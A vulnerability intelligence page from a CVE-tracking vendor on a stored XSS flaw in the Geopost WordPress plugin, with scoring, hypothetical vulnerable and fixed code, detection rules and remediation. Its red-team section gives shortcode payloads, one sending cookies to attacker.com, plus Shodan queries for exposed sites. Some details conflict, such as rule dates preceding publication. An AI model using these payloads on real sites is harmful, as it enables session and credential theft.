☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-12754

CVE-2025-12754 Cross-Site Scripting in Geopost
📅 PUBLISHED: 2025-11-11 03:30 UTC 🔄 UPDATED: 2026-10-08 23:10 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-12754 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Geopost plugin for WordPress, affecting all versions up to and including 1.2. The flaw resides in the height parameter of the geopost shortcode, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. When a user accesses a page containing the malicious shortcode, the injected script executes in the context of the victim's browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 6.4 (Medium), with an EPSS score of 0.0%, indicating low exploitation likelihood at the time of analysis. No public proof-of-concept or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Context

This vulnerability is specific to the Geopost plugin within the WordPress ecosystem. It is not related to Apache, Nginx, or any other web server software. The attack vector relies on the plugin's shortcode functionality, which is a core feature of WordPress.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector (AV): Network – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): Low – Attacker needs contributor-level access or higher.
  • User Interaction (UI): None – The victim does not need to perform any action beyond viewing the page.
  • Scope (S): Changed – The vulnerable component impacts resources beyond its security scope.
  • Confidentiality (C): Low – Limited information disclosure possible.
  • Integrity (I): Low – Limited modification of data possible.
  • Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used CMS like WordPress could lead to significant impact if exploited in a targeted campaign.

Deep Dive & Mechanics

The vulnerability is a classic Stored Cross-Site Scripting (XSS) flaw in the Geopost plugin's shortcode handler. The geopost shortcode accepts a height attribute, which is used to set the height of a map or container element. The plugin fails to properly sanitize user-supplied input for this parameter and does not escape the output when rendering the shortcode in the page.

Attack Flow:

  1. An authenticated attacker with contributor-level access or higher creates or edits a post/page.
  2. The attacker inserts the [geopost height="..."] shortcode, injecting a malicious payload into the height parameter, e.g., [geopost height="100px\"><script>alert('XSS')</script>"].
  3. The plugin processes the shortcode and outputs the height value directly into the HTML without proper escaping.
  4. When any user (including administrators) visits the page, the injected script executes in their browser.

Root Cause: The plugin uses esc_attr() or similar escaping functions incorrectly, or omits them entirely for the height parameter. The shortcode attribute is likely passed directly into an HTML attribute without context-aware escaping.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (Geopost plugin <= 1.2):

// In geopost-shortcode.php
function geopost_shortcode($atts) {
    $atts = shortcode_atts(array(
        'height' => '300px',
    ), $atts);
    $height = $atts['height'];
    // Direct output without escaping
    return '<div class="geopost-map" style="height:' . $height . ';">...</div>';
}

Patched Code (Hypothetical):

// In geopost-shortcode.php
function geopost_shortcode($atts) {
    $atts = shortcode_atts(array(
        'height' => '300px',
    ), $atts);
    $height = esc_attr($atts['height']); // Escape for HTML attribute context
    // Also validate that height is a valid CSS value
    if (!preg_match('/^\d+(px|%|em|rem)?$/', $height)) {
        $height = '300px'; // Fallback to default
    }
    return '<div class="geopost-map" style="height:' . $height . ';">...</div>';
}

Exploitation & Lab Setup

Red Team (Attacker) Perspective

Prerequisites:

  • WordPress instance with Geopost plugin version <= 1.2.
  • Authenticated user account with contributor-level privileges or higher.

Exploitation Steps:

  1. Log in to WordPress as a contributor.
  2. Create a new post or edit an existing one.
  3. Switch to the Text/Code editor (not Visual).
  4. Insert the following shortcode with a malicious payload:
    [geopost height="100px\"><script>alert(document.cookie)</script>"]
    
  5. Publish or update the post.
  6. When any user visits the post, the JavaScript executes.

Advanced Payload Example:

[geopost height="100px\"><img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>"]

Lab Setup:

  • Use a local WordPress installation (e.g., via Docker or XAMPP).
  • Install Geopost plugin version 1.2.
  • Create a test user with contributor role.
  • Use a browser with developer tools to observe the XSS execution.

Blue Team (Defender) Perspective

Detection Steps:

  1. Monitor WordPress logs for suspicious shortcode usage, especially from contributor-level users.
  2. Review post content for unusual [geopost height="..."] patterns.
  3. Use web application firewall (WAF) rules to block common XSS payloads in shortcode parameters.
  4. Implement Content Security Policy (CSP) headers to mitigate impact of XSS.

Lab Setup for Blue Team:

  • Deploy a WordPress honeypot with Geopost plugin.
  • Configure logging for all shortcode executions.
  • Use a SIEM to correlate alerts from multiple sources.

Indicators of Compromise (IOCs)

  • File-based IOCs:

    • Presence of [geopost height="..."] shortcode with suspicious characters (e.g., <, >, ", ', script, onerror, onload).
    • Modified posts/pages by contributor-level users containing unusual shortcode parameters.
  • Network-based IOCs:

    • Outbound HTTP requests to attacker-controlled domains from WordPress server.
    • Unusual JavaScript execution in browser console when visiting pages with Geopost shortcode.
  • Log-based IOCs:

    • WordPress audit logs showing shortcode usage with non-standard height values.
    • Web server logs showing requests to pages with Geopost shortcode and subsequent 404s or errors.

Detection Engineering

YARA Rule

rule CVE_2025_12754_Geopost_XSS {
    meta:
        description = "Detects malicious shortcode payloads targeting CVE-2025-12754 in Geopost plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12754"
        severity = "medium"
    strings:
        $shortcode = /\[geopost\s+height\s*=\s*["'][^"']*[<>"'\\]/ nocase
        $xss_payload = /<script|<img|<svg|<iframe|onerror|onload|onclick|alert\(|prompt\(|confirm\(/ nocase
    condition:
        $shortcode and $xss_payload
}

Sigma Rule

title: CVE-2025-12754 Geopost Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of Stored XSS in Geopost plugin via shortcode height parameter
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-12754
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - '[geopost height='
            - '%5Bgeopost%20height%3D'
    condition: selection
falsepositives:
    - Legitimate use of Geopost shortcode with normal height values
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-12754 Geopost Stored XSS Exploit Attempt"; flow:to_server,established; content:"[geopost height="; nocase; http_uri; pcre:"/\[geopost\s+height\s*=\s*["'][^"']*[<>"'\\]/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Geopost plugin until a patch is available.
  2. Restrict contributor-level access to only trusted users.
  3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads in shortcode parameters.
  4. Add Content Security Policy (CSP) headers to mitigate script execution:
    Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';
    

Long-term Fixes:

  1. Apply vendor patch when released (monitor Geopost plugin updates).
  2. Upgrade to patched version (currently unknown).
  3. Conduct code review of all shortcode handlers in the plugin.
  4. Implement input validation for all shortcode attributes, especially those used in HTML attributes or CSS.

Workaround:

  • Use a WordPress security plugin (e.g., Wordfence, Sucuri) to block malicious shortcode patterns.
  • Manually edit the plugin code to add proper escaping (see patched code example above).

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/geopost"
http.html:"/wp-content/plugins/geopost/"
http.title:"Geopost"
http.html:"geopost" "shortcode"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-12754/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.